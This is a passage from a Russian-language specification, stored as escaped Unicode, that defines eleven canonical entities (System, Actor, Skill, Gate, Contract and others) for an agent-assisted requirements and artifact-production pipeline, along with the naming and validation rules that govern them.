\u043d\u0435\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\\n# \u0422\u0435\u043e\u0440\u0438\u044f: \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n## 1. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u0438\\n\\n\u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439, \u0435\u0441\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n| \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 | \u041f\u043e\u0447\u0435\u043c\u0443 |\\n| --- | --- | --- |\\n| `K-1` \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0430\u044f \u0441\u0438\u043b\u0430 | \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0432\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b\u043c\u0438. | \u0418\u043d\u0430\u0447\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u2014 \u0441\u0438\u043d\u043e\u043d\u0438\u043c. |\\n| `K-2` \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c | \u042d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u0438\u0442\u044c \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438\u043b\u0438 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0435\u0439 \u0441\u0440\u0435\u0434\u0435. | \u0418\u043d\u0430\u0447\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u2014 \u0440\u0430\u043c\u043a\u0430 \u0431\u0435\u0437 \u0440\u0435\u0444\u0435\u0440\u0435\u043d\u0442\u0430. |\\n| `K-3` \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438 | \u0423 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0438\u043c\u044f \u0432\u043e \u0432\u0441\u0435\u0439 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0435\u0451 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f\u043c\u0438. | \u0422\u0440\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u0442\u0440\u0451\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u2014 \u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f `K-3`. |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043d\u0438\u0436\u0435 \u043d\u0435 \u0432\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u00ab\u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0442\u044b\u00bb: \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u043a\u0430\u0437\u0430\u043d \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0435\u0437 \u043d\u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c.\\n\\n## 2. \u041e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u0432\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043a \u0434\u0435\u0432\u044f\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u0438 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442\\n`Skill` \u0438\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\\n\u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1`\u2013`K-3` \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043d\u0438\u0436\u0435.\\n\\n| \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c | \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 (`K-1`) | \u041a\u043b\u044e\u0447 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 |\\n| --- | --- | --- |\\n| `Product` | \u041e \u043a\u0430\u043a\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435? | `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function` |\\n| `System` | **\u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f?** | \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u043b\u0438 \u0435\u0451 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 |\\n| `Artifact` | \u0427\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u043e\u043c \u0438 \u0447\u0442\u043e \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b? | \u043a\u043b\u0430\u0441\u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Operation` | \u041a\u0430\u043a\u043e\u0439 **\u0442\u0438\u043f** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f? | \u0438\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n| `Skill` | **\u041a\u0430\u043a\u043e\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u043e\u0435 \u0446\u0435\u043b\u043e\u0435 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c?** | \u0438\u043c\u044f \u043d\u0430\u0432\u044b\u043a\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Process` | \u041a\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f? | \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n| `Route` | \u041a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0438 \u043a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u043f\u0440\u043e\u0439\u0434\u0435\u043d? | \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 + \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n| `Actor` | \u041a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433 \u0438\u043b\u0438 \u0447\u044c\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435? | \u0440\u043e\u043b\u044c |\\n| `Gate` | \u0412 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442? | \u0442\u043e\u0447\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 + \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c |\\n| `Contract` | \u041a\u0430\u043a\u0438\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c? | \u0438\u043c\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Trace` | \u041a\u0430\u043a \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0432\u0445\u043e\u0434, \u0440\u0430\u0431\u043e\u0442\u0443, \u0430\u043a\u0442\u043e\u0440\u0430, \u0433\u0435\u0439\u0442 \u0438 \u0432\u044b\u0445\u043e\u0434? | \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f |\\n\\n### 2.1 `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\\n`System` \u2014 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f: \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439\\n\u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441. \u041e\u043d\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1`: \u0431\u0435\u0437 \u043d\u0435\u0451\\n\u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b \u00ab\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043a\u043d\u043e\u043f\u043a\u0443\u00bb \u0438 \u00ab\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435\u00bb \u2014\\n\u0434\u0432\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438\\n\u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043b\u0438\u0446\u0430.\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `SY-1` | `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430. \u041e\u043d\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u044f `Actor` \u0448\u0430\u0433\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. |\\n| `SY-2` | \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f `System`, \u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0435\u043c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u2014 `Actor`. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0435\u0437 \u043e\u0431\u043e\u0438\u0445 \u043f\u043e\u043b\u044e\u0441\u043e\u0432 \u043d\u0435\u043f\u043e\u043b\u043d\u043e. |\\n| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\n\\n### 2.2 `Actor` \u2014 \u043e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u0430\u0433\u0435\u043d\u0442\u0430\\n\\n`Actor` \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u043a\u0430\u043a \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\\n\u0435\u0433\u043e \u0434\u043e **\u043e\u0431\u0449\u0435\u0433\u043e \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430**: \u0438 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u0438\\n\u0442\u043e\u0433\u043e, \u0447\u044c\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435. \u041e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0432\u0432\u0435\u0434\u0435\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\nUML \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0431\u0440\u0430\u043b\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043b\u0438\u0446 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044f, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u043b\u0430\\n\u0438\u0445: \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b 5 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 (`D6`).\\n\\n| \u0420\u043e\u043b\u044c | \u0422\u0438\u043f | \u0413\u0434\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f |\\n| --- | --- | --- |\\n| `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 `A-US`, `A-UC`, \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 `System` |\\n| `\u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430\u0434\u0440\u0435\u0441\u0430\u0442 `A-QUEST`, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 |\\n| `\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-human` |\\n| `\u0410\u0433\u0435\u043d\u0442` | AI-\u0430\u0433\u0435\u043d\u0442 | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-self` |\\n| `\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440` | \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-mach` |\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `AC-1` | \u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 `A-CORE` \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 `extract-actors`, \u0430 \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0451\u043d. |\\n| `AC-2` | \u0410\u043a\u0442\u043e\u0440, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0432 `A-CORE`, \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445: \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0430 \u2014 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043c\u0435\u0441\u0442\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043b\u0438\u0446. |\\n| `AC-3` | \u0420\u043e\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0448\u0430\u0433\u0430 \u0438 \u0440\u043e\u043b\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c, \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e: \u043e\u0431\u0435 \u2014 `Actor`. |\\n\\n\u0422\u0435\u0440\u043c\u0438\u043d \u00ab\u0410\u043a\u0442\u043e\u0440\u00bb \u0432\u044b\u0431\u0440\u0430\u043d \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb \u0438 \u00ab\u0440\u043e\u043b\u044c\u00bb: \u043e\u043d \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442\\n\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0438 \u0430\u0433\u0435\u043d\u0442\u0430, \u0438 \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443-\u043a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u0430, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb\\n\u0441\u0443\u0436\u0430\u0435\u0442 \u043f\u043e\u043d\u044f\u0442\u0438\u0435 \u0434\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0430 \u00ab\u0440\u043e\u043b\u044c\u00bb \u0443\u0436\u0435 \u0437\u0430\u043d\u044f\u0442\u0430 \u043f\u043e\u043b\u0435\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u043c\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438.\\n\\n### 2.3 `Skill` \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f 0.1 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0430 `Skill` \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `Operation` \u0438 \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 \u0435\u043c\u0443 \u0432\\n\u0441\u0442\u0430\u0442\u0443\u0441\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u044d\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 **\u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442**. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0437\u0430\u043c\u0435\u0440 `D5`:\\n\u0441\u043f\u0438\u0446\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0448\u0435\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n`\u041f1`\u2013`\u041f6` \u0432 ADR-009, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c Source \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0438\\n\u0440\u0430\u0437\u0443. \u0423\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 